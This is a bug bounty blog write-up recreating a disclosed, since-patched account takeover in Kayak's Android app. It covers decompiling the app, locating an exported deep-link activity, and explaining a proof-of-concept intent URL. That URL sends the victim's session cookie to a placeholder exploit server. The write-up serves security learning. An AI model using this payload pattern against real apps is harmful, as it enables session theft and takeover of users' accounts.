One of the things I do to improve my bounty hunting skills is recreate known vulnerabilities. I try to get as little of the exploit details from the report as I can, and then hunt down the issue myself. The great thing is if I get completely shut down, I have a guide to refer to. This Kayak Account Takeover was discovered by Carlos Bello, who’s report can be found here:
https://hackerone.com/reports/1667998/
and their excellent write up here: https://fluidattacks.com/blog/account-takeover-kayak/
Finding the report and getting the vulnerable version
If you are here, you most likely already know about Hacktivity on HackerOne. But if you are not aware, you can find disclosed vulnerability reports here. This is a very useful resource for tips and techniques.
While searching for disclosed Android application reports, I came across Carlos Bello’s report titled “1 click Account takeover via deeplink in [com.kayak.android]”. Luckily the report didn’t disclose too much at the top and I was able to find it was patched in version 162.2. It appears it was only recently introduced in 162.1, reported on August 12th and patched the next day.

There are several play store mirror websites where you can grab a specific version of an app, so I went and grabbed 162.1 from here:
https://www.apkmirror.com/apk/kayak-com/kayak-flights-hotels-cars/kayak-flights-hotels-cars-161-1-release/
Decompiling the app
Android app’s are compiled bytecode, are .apk files which is a compressed file, similar to .zip files. They are mostly written in Java and Kotlin, but can be written in C++ or contain C/C++ libraries.
There are several great decompilers, and my personal preference is to use jadx from the command line and open the code base in Android Studio.
jadx kayak.apk --deobf -d app
AndroidManifest.xml
When beginning a to reverse an android app, the first place I like to start is the AndroidManifest. It gives you a ton of information about the app. From the documentation:
Among many other things, the manifest file is required to declare the following:
- The components of the app, including all activities, services, broadcast receivers, and content providers. Each component must define basic properties, such as the name of its Kotlin or Java class. It can also declare capabilities, such as which device configurations it can handle, and intent filters that describe how the component can be started. Read more about app components in a following section.
- The permissions that the app needs in order to access protected parts of the system or other apps. It also declares any permissions that other apps must have if they want to access content from this app. Read more about permissions in a following section.
- The hardware and software features the app requires, which affects which devices can install the app from Google Play. Read more about device compatibility in a following section.”
The first thing I like to look at is which activities are exported, and since the title of the report also was a big clue to look at the deep links. A deep link is a URI that links directly to a specific location within an app, rather than opening a website or a generic external app. It allows users to navigate to a particular screen or perform a specific action within an app by clicking on a link from another app, a website, or a notification. You can read more here:
https://developer.android.com/training/app-links/deep-linking
These must be defined in the manifest, and so given the information already obtained, my first step was to look for defined schemes within exported activities intent filters.

This one looked extremely interesting. The activity name is ExternalAuthLoginActivity and the intent-filter is set to BROWSABLE, meaning it is accessible from a web browser. Anytime there is an exported activity involving authorization it is definitely worth exploring. In Android Studio, if you highlight the activity name and hit shift twice it will open the activity code.
ExternalAuthLoginActivity leads to pwnage
Inside the ExternalAuthLoginActivity, the issue becomes almost immediately apparent. The issue becomes clear rather quickly as it is possible to set a redirect URL with a string extra (more on that in a moment) via the getRedirectUrl() method.

The next method, launchCustomTabs(), appends the SessionId to the url request.

Taking a look at the getSessionId() method in com.kayak.android.core.communication.l reveals that the SessionId is the users cookie, allowing for account takeover.

Proof of Concept exploit
Since the vulnerability is based on an exported activity there are several ways to exploit: build a custom app, host it on a website with an intent url, or use the Activity Manager in Android Debug Bridge. However it requires user interaction, so rather than using the activity manager, we will host the link ourselves.
In this write up I am using a physical test device rather than an emulator. I will not go into setting up an android lab here, but I will add a link to my current set up once I write a post for it.
intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://your-exploit-server;end
Lets breakdown how this works:
- intent://externalAuthentication
Base URI of the intent and the Host taken from the Android Manifest. Using intent:// and specifying the scheme further on is common practice for intent URLs and ensures compatibility with the Android system. - #Intent
Marks the beginning of the intent specification. All the intent parameters are listed after this fragment. - scheme=kayak
Specifies the URI scheme for the intent as kayak as specified in the intent filter in the Android Manifest. - package=com.kayak.android
Specifies the package name of the app that should handle the intent - component=com.kayak.android.web.ExternalAuthLoginActivity
Specifies the component within the app that should handle the intent - action=android.intentaction.VIEW
Specifies the component within the app that should handle the intent - S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://your-exploit-server
This is an extra parameter that specifies a redirect URL to be passed to the ExternalAuthLoginActivity component. The S. prefix indicates that this is a string extra. The EXTRA_REDIRECT_URL is the paramater in getRedirectUrl() an defines the string extra. - ;end
Indicates the end of the intent specification
Log into the app, visit the exploit server address and click the hosted intent link. I accomplished this with ngrok, but there are any number of ways to do this. In the header for the GET request you will get the _sid_= and now you can log in to the victim account.

Takeaways
Any sensitive activity that is exported is worth looking into how it is implemented. This one was a pretty glaring mistake allowing an exported activity to redirect the user to any website, and I would speculate was code that was accidentally pushed since it appears to have been introduced in 162.1 and patched the day after the report. Looking at recently updated code is vital to catching these sorts of bugs, and my biggest takeaway was a need to set up automation to alert me when there are new versions of apps I am participating in bounties on.